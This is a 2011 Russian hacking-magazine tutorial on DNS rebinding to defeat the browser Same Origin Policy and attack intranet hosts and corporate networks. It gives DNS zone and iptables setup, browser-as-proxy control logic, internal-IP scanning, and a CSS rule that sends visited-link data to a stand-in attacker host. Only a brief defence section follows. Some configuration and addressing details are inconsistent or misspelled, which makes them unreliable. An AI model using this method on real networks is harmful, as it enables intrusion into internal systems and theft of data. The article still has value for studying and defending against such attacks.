Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР 151, АВГУСТ 2011 г.

Вторая жизнь DNS REBINDING: Реализации атаки для обхода Same origin policy

Основой модели безопасности, заложенной в современные браузеры, является механизм «Same origin policy». Суть его заключается в том, что браузеры не позволяют сценариям обращаться к данным, расположенным на сторонних доменах. Исключение составляет лишь возможности передавать POST-запросы и подключать к странице файлы javascript и css. При этом не существует никаких легальных способов читать данные, получаемые с другого домена.

Обход ограничений

Подумаем, чего конкретно можно было бы добиться, если бы ограничение на получение данных с других доменов удалось отменить. В первую очередь, мы получили бы возможность не только отправлять запросы на сторонние ресурсы (как при стандартных CSRF-атаках), но и обрабатывать ответы, полученные от сервера. А значит, большая часть механизмов, предназначенных для защиты от CSRF-атак, перестала бы работать. Мы могли бы получить доступ к ресурсам, расположенным во внутренней сети (недоступной извне), при этом браузер пользователя использовался бы в качестве прокси. Также можно было бы получать конфиденциальные данные с ресурсов, на которых пользователь проходит аутентификацию при помощи сертификатов. Хорошим примером подобного веб-приложения для корпоративной среды является почтовый сервер Outlook Web Access.

Именно для обхода ограничения «Same origin policy» и было придумано семейство атак Anti DNS pinning, также известное как DNS rebinding. Атакам типа Anti DNS pinning подвержены веб-серверы, которые отвечают на HTTP-запросы с произвольным значением заголовка Host. В частности, уязвимы все web-сервера Apache и IIS с конфигурацией по умолчанию. Также уязвимы практически все удаленные сервисы, управляемые по HTTP, но не имеющие webинтерфейса. Например, уязвимы практически все сервисы, предоставляющие удаленные API с управлением при помощи протоколов SOAP, XML-RPC и подобных.

В чем же суть?

Современные браузеры, при получении странички с какого-либо сайта, кешируют результаты DNS-запроса. Это делается для предотвращения отправки запросов к сторонним серверам посредством подмены IP-адреса. Давай подумаем, что можно сделать для обхода этого механизма. Раньше атака (в теории) могла проводиться следующим образом:

  1. Жертва обращается к домену, принадлежащему злоумышленнику.
  2. Получает с DNS-сервера IP-адрес, соответствующий доменному имени.
  3. Обращается на web-сервер (соответствующий полученному IP) и получает с него сценарий javascript.
  4. Полученный Javascript через некоторое время после загрузки инициирует повторный запрос на сервер.
  5. В этот момент атакующий при помощи межсетевого экрана блокирует все запросы жертвы к серверу.
  6. Браузер пытается повторно узнать IP-адрес сервера (послав соответствующий DNS-запрос) и на этот раз получает IP-адрес уязвимого сервера из локальной сети жертвы.

Соответственно, если удастся заманить жертву на свой домен evil.xxx, можно заставить браузер пользователя думать, что этому имени домена соответствует не IP-адрес из внешнего интернета, а IP-адрес из локальной сети. По этому адресу может, к примеру, располагаться какой-нибудь важный внутрикорпоративный ресурс. Проблема только в том, что этот вариант атаки не работает.

Реализуем на практике

Как можно понять из описания атаки, нам потребуется один сервер, на котором нужно поднять и настроить WEB- и DNS-сервера, также потребуется домен, на который можно будет заманивать жертву. При регистрации доменного имени указываем в качестве NS-серверов данные нашего сервера.

Для успешного проведения атаки на практике нужно сконфигурировать NS-сервер так, чтобы он возвращал оба IP-адреса одновременно. Причем IP-адрес сервера, на котором лежит Javascript, проводящий атаку, должен возвращаться первым, а IP-адрес сервера жертвы — вторым. В таком случае при обращении к домену браузер сначала загрузит атакующий скрипт с нашего сервера, лишь потом, когда сервер станет недоступным (в результате блокировки запроса межсетевым экраном), — обратится к серверу жертвы.

Для этой цели вполне подходит сервер Bind 9. Чтобы он возвращал IP-адреса в нужном порядке, его нужно собрать из исходных кодов с флагом --enable-fixed-rrset. По умолчанию этот флаг не установлен, и версии, распространяемые в бинарниках, использовать не получится. В настройках bind9 указывается, что следует использовать фиксированный порядок следования IP-адресов. Для этого в named.conf.options, в параметре options указывается:

rrset-oredr { order fixed; };

Далее нужно настроить зону. На примере домена dns.evil.xxx:

dns A 97.246.251.93
A 192.168.0.1

В итоге, при обращении к DNS-серверу атакующего, для домена dns.attacker.ru браузер всегда будет обращаться сначала к IP-адресу 97.246.251.93, затем, если он недоступен, к 192.168.0.1.

В некоторых случаях этот порядок может нарушаться, подробнее описано ниже.Помимо сервера DNS для проведения атаки потребуется вебсервер (в качестве примера рассмотрим Apache), и удобный механизм блокирования входящих запросов на соединение с сервером. Для блокировки входящих запросов можно использовать межсетевой экран iptables, и наиболее эффективным способом блокировки является отправка пакета с tcp-reset в ответ на попытку соединения, иначе браузер будет тратить лишнее время в рамках таймаута TCP-сессии на ожидание ответа от сервера. При помощи iptables это делается следующим образом:

iptables -A INPUT -s [блокируемый IP-адрес] -p tcp \
--dport 80 -j REJECT --reject-with tcp-reset

В примере сознательно блокируется только 80-й порт, так как для реализации атаки понадобится сервис, на который будут отправляться полученные от клиента данные. В итоге атака выглядит следующим образом:

  1. Жертва обращается к домену dns.evil.xxx.
  2. DNS-сервер атакующего возвращает оба IP-адреса в фиксированном порядке.
  3. Браузер перенаправляет запрос к серверу, расположенному на внешнем IP 97.246.251.93.
  4. Сервер возвращает HTML-страничку с JavaScript’ом.
  5. После загрузки странички в браузере, клиентский javascript шлет запрос к домену dns.evil.xxx.
  6. После получения запроса серверный скрипт блокирует входящие соединения с IP-адреса жертвы.
  7. Через некоторое время клиентский скрипт снова обращается к домену dns.attacker.ru и, поскольку сервер 97.246.251.93 возвращает RST, запрос перенаправляется на локальный сервер 192.168.0.1.

Теперь наш javascript может слать любые GET/POST/HEAD-запросы к приложению, расположенному на адресе 97.246.251.93, а также обрабатывать полученные ответы и отправлять результаты атакующему!

Полезная нагрузка

Итак, браузер думает, что скрипт был загружен с ресурса из внутренней сети, и у нас есть возможность этим ресурсом управлять. Какие задачи этот скрипт должен выполнить для получения практической пользы? Во-первых, скрипт должен определить, с каким конкретно приложением мы имеем дело, затем — есть ли какая-нибудь авторизация, которую придется обходить. После этого скрипт должен выполнить команды, заложенные в нем для данного типа оборудования. К примеру, изменить конфигурацию или получить копию писем/документов, хранящихся на уязвимом сервере.

После выполнения жестко заданных команд, можно переключить браузер жертвы в режим прокси-сервера и дать возможность атакующему слать запросы к приложению в режиме online. До выполнения всех этих задач нужно разобраться с тем, как скрипт будет отправлять запросы к уязвимому приложению, и как будет происходить передача полученных данных на сервер атакующего. Не забываем о том, что ограничения Same Origin Policy мы уже обошли, а значит, для общения скрипта с уязвимым сервером можно использовать стандартные AJAX-технологии, в частности компонент XMLHttpRequest.

С передачей полученных данных на сервер сложнее, так как сервер управления процессом атаки (административная панель атакующего) располагается либо на другом домене, либо на другом порту (80-й порт на своем сервере мы заблокировали).

Это значит, что скрипт снова столкнется с ограничениями Same Origin Policy. К счастью, для решения этой проблемы была придумана технология под названием JSONP, использование которой позволит отправлять запросы на наш сервер, если тот будет возвращать специальным образом подготовленные ответы (подробнее о JSONP можно прочитать на ресурсах, посвященных webпрограммированию). С механизмами все ясно, идем дальше.

Выполнение команд

При отправке команд на атакуемый сервер следует либо использовать XMLHttpRequest в синхронном режиме, либо синхронизировать отправку команд вручную и не отправлять последующую команду до тех пор, пока не придет ответ на предыдущую. В целях повышения быстродействия работы скрипта я рекомендую использовать второй вариант.

Для использования браузера жертвы в качестве прокси, нужно после окончания работы скрипта запустить функцию setInterval, в которую передать код, который будет запрашивать у управляющего сервера следующую команду, которую нужно запустить на атакуемом оборудовании. А результат выполнения команды можно передавать обратно на сервер.

Атака на корпоративные сети

Мы разобрались, что делать, если цель одна. Теперь надо разобраться, как атаковать корпоративные сети целиком. Ну и в первую очередь для проведения такой атаки необходимо научиться в приемлемое время определять IP-адреса целей атаки. Во-вторых, нужно обеспечить возможность атаки нескольких целей за один сеанс работы пользователя. В-третьих, требуется возможность совершения распределенных атак на один и тот же сервер с нескольких браузеров, расположенных во внутренней сети компании. И в-четвертых, необходима возможность отправки запросов на различные IP-адреса при использовании браузера жертвы в качестве прокси (выше шла речь об отправке подобных команд только на один адрес).

Целеуказание

Для определения целей можно сканировать IP-адреса сети по диапазону. Для этого можно пользоваться, к примеру, тегом IFRAME и событием onLoad. Другой вариант реализации — создавать объект Image и при помощи onLoad определять, загрузилось ли изображение. Для определения того, что по данному адресу ресурс не был обнаружен, можно пользоваться функцией setTimeout, которая по истечении некоторого времени будет проверять, создался ли объект или нет, и если объект не создан — сигнализировать о том, что ресурс по данному адресу не найден.

С использованием этого подхода связ ано несколько очевидных проблем:

  1. Прокси-сервер может возвращать ответ даже при отправке запроса на несуществующий IP-адрес, и в результате метод onLoad будет указывать на наличие даже несуществующих адресов.
  2. Потенциально большое количество ложных срабатываний при ошибках выбора значения таймаута.
  3. При большом значении таймаута и/или большом диапазоне перебираемых адресов подбор может занять значительное время.

Для решения этих проблем можно воспользоваться другим методом определения целей.

CSS History Hack v 2.0

Несколько лет назад был предложен интересный способ определения веб-адресов, которые посещал пользователь браузера. Суть метода заключается в том, что при помощи javascript можно узнать цвет ссылки, созданной на странице, и для ранее посещенных ссылок этот цвет отличается.

Таким образом, сформировав список адресов, можно при помощи javascript создать тег <a> для каждого адреса из списка и сверить его цвет с цветом уже посещенной ссылки. Для простоты работы, цвета уже посещенных ссылок задаются явно при помощи CSS.

Прошло несколько лет, и эту уязвимость закрыли. Современные версии браузеров (даже IE8) теперь всегда для ссылок программно отдают цвет по умолчанию, даже если ранее ссылка была посещена. Впрочем, эту уязвимость все равно можно реализовать по-новому. Для этого жестко зададим массив проверяемых ссылок, например:

var links = [
'http://192.168.0.1',
'http://192.168.1.1',
'http://10.1.1.1'
];

Для каждой ссылки в динамически создаваемый тег STYLE добавим CSS-правило вида:

A#id:visited { background:url('../../../admin.evil.xxx_3A8080/_3Cbr_3Ebackonnect.php?url=http://192.168.0.1'); }

В итоге, при создании ссылки, которая была посещена, браузер попытается загрузить url, указанный в адресе, а для непосещенной ссылки url загружаться не будет. Таким образом на сервер можно передать информацию о посещенных ссылках, и этому виду атаки подвержены все актуальные на сегодня версии браузеров, в том числе и самые новые.

Атака нескольких целей

Для проведения атаки типа DNS rebinding требуется производить блокировку соединений со стороны пользователя, причем с учетом реакции современных браузеров эту блокировку следует производить еще во время TCP handshake. Если блокировку проводить уже после соединения, браузер не будет использовать альтернативный адрес. В частности, IE и Firefox возвращают ответ 200 OK с пустым телом ответа, а браузер Opera возвращает код ошибки 404 и не пытается соединиться с другим IP-адресом.

Таким образом, параллельная атака нескольких ресурсов одновременно с использованием стандартного подхода невозможна. Для проведения атаки на несколько целей, можно выделить функции определения целей и выбора текущей цели в отдельную HTML-страницу. При обнаружении цели, ее IP-адрес будет передаваться на сервер, и серверный скрипт должен создать для атаки на нее соответствующий субдомен в таблице DNS.

Например, для ip-адреса 192.168.0.1 можно создать субдомен 192.168.0.1.dns.evil.xxx. Управляющая страница по адресу http://dns.evil.xxx/control.html должна создать iframe, в который будет загружен документ, содержащий клиентский скрипт проведения атаки DNS Rebinding, находящийся, к примеру, по адресу http://192.168.0.1.dns.evil.xxx/rebinding.html.

Чтобы не приходилось добавлять виртуальные сайты в ходе атаки, нужно настроить виртуальный хост веб-сервера таким образом, чтобы для всех поддоменов отдавались одни и те же файлы. Это создает парадокс: сервер, осуществляющий атаку, будет сам уязвим для нее :).

Полученная страница сообщает серверу, чтобы он обслуживал только ее запросы, запрашивает блокировку ip-адреса атакуемого, выполняет работу и отпускает блокировку. Вместе с этим сервер вновь разрешает запросы от жертвы.

Полный алгоритм выглядит следующим образом:

  1. Система определения целей передает ip-адреса целей на сервер атакующего (допустим, 97.246.251.93).
  2. Управляющий скрипт на клиенте запрашивает доменное имя цели у сервера.
  3. Сервер создает DNS-запись для субдомена, который будет использоваться для атаки на конкретный IP-адрес.

Пример:

97.246.251.93.dns.evil.xxx
A 97.246.251.93
A 192.168.0.1

  1. Управляющий скрипт указывает полученное имя домена в качестве параметра src-тега IFRAME.
  2. Документ, полученный с домена 192.168.0.1.evil.xxx запрашивает у сервера блокировку.
  3. Сервер перестает реагировать на запросы о получении адреса целей, и блокирует обращения с браузера жертвы на 80-й порт.
  4. Клиентский скрипт выполняет работу по получению нужных данных и управлению оборудованием.
  5. После окончания работы клиентский скрипт сообщает серверу, что блокировку можно освободить.
  6. Сервер освобождает блокировку и снова разрешает доступ с адреса, атакующего на 80-й порт.
  7. Управляющий скрипт запрашивает адрес следующей цели, и процесс повторяется при необходимости.

Для динамического создания DNS-записей можно использовать механизм автоматического обновления DNS, например, утилиту nsupdate. При ее использовании перезагрузка DNS-сервера не потребуется.

Защита от атаки типа DNS Rebinding

В принципе, есть несколько способов защититься от данного вида атак, например:

  1. Правильная настройка ПО сервера. Удалить на веб-серверах параметр VirtualHost со значением _default_, или *:80 и явно прописать имена хостов.
  2. Защита со стороны разработчика веб-приложения. При установке приложения предлагать пользователю ввести доменное имя сервера, на котором будет располагаться приложение, и обрабатывать запросы от клиента только в том случае, если параметр Host запроса HTTP соответствует имени домена, указанного при установке.
  3. В браузерах использовать плагин NOSCRIPT или аналоги, запретить выполнение скриптов JavaScript, Java-апплетов или Flash-приложений.
  4. Использовать разделение зон, при котором скрипту, полученному из внешнего интернета, будет однозначно запрещено обращаться к ресурсам, расположенным в локальной сети пользователя.

При таком подходе однозначно уязвимыми остаются только удаленные сервисы, предоставляющие API, для которых имя хоста не предусмотрено в принципе. Например, API для работы с облаками на базе Amazon EC2, или система виртуализации VMware ESX.

Содержание
загрузка...
Журнал Хакер #151Журнал Хакер #150Журнал Хакер #149Журнал Хакер #148Журнал Хакер #147Журнал Хакер #146Журнал Хакер #145Журнал Хакер #144Журнал Хакер #143Журнал Хакер #142Журнал Хакер #141Журнал Хакер #140Журнал Хакер #139Журнал Хакер #138Журнал Хакер #137Журнал Хакер #136Журнал Хакер #135Журнал Хакер #134Журнал Хакер #133Журнал Хакер #132Журнал Хакер #131Журнал Хакер #130Журнал Хакер #129Журнал Хакер #128Журнал Хакер #127Журнал Хакер #126Журнал Хакер #125Журнал Хакер #124Журнал Хакер #123Журнал Хакер #122Журнал Хакер #121Журнал Хакер #120Журнал Хакер #119Журнал Хакер #118Журнал Хакер #117Журнал Хакер #116Журнал Хакер #115Журнал Хакер #114Журнал Хакер #113Журнал Хакер #112Журнал Хакер #111Журнал Хакер #110Журнал Хакер #109Журнал Хакер #108Журнал Хакер #107Журнал Хакер #106Журнал Хакер #105Журнал Хакер #104Журнал Хакер #103Журнал Хакер #102Журнал Хакер #101Журнал Хакер #100Журнал Хакер #099Журнал Хакер #098Журнал Хакер #097Журнал Хакер #096Журнал Хакер #095Журнал Хакер #094Журнал Хакер #093Журнал Хакер #092Журнал Хакер #091Журнал Хакер #090Журнал Хакер #089Журнал Хакер #088Журнал Хакер #087Журнал Хакер #086Журнал Хакер #085Журнал Хакер #084Журнал Хакер #083Журнал Хакер #082Журнал Хакер #081Журнал Хакер #080Журнал Хакер #079Журнал Хакер #078Журнал Хакер #077Журнал Хакер #076Журнал Хакер #075Журнал Хакер #074Журнал Хакер #073Журнал Хакер #072Журнал Хакер #071Журнал Хакер #070Журнал Хакер #069Журнал Хакер #068Журнал Хакер #067Журнал Хакер #066Журнал Хакер #065Журнал Хакер #064Журнал Хакер #063Журнал Хакер #062Журнал Хакер #061Журнал Хакер #060Журнал Хакер #059Журнал Хакер #058Журнал Хакер #057Журнал Хакер #056Журнал Хакер #055Журнал Хакер #054Журнал Хакер #053Журнал Хакер #052Журнал Хакер #051Журнал Хакер #050Журнал Хакер #049Журнал Хакер #048Журнал Хакер #047Журнал Хакер #046Журнал Хакер #045Журнал Хакер #044Журнал Хакер #043Журнал Хакер #042Журнал Хакер #041Журнал Хакер #040Журнал Хакер #039Журнал Хакер #038Журнал Хакер #037Журнал Хакер #036Журнал Хакер #035Журнал Хакер #034Журнал Хакер #033Журнал Хакер #032Журнал Хакер #031Журнал Хакер #030Журнал Хакер #029Журнал Хакер #028Журнал Хакер #027Журнал Хакер #026Журнал Хакер #025Журнал Хакер #024Журнал Хакер #023Журнал Хакер #022Журнал Хакер #021Журнал Хакер #020Журнал Хакер #019Журнал Хакер #018Журнал Хакер #017Журнал Хакер #016Журнал Хакер #015Журнал Хакер #014Журнал Хакер #013Журнал Хакер #012Журнал Хакер #011Журнал Хакер #010Журнал Хакер #009Журнал Хакер #008Журнал Хакер #007Журнал Хакер #006Журнал Хакер #005Журнал Хакер #004Журнал Хакер #003Журнал Хакер #002Журнал Хакер #001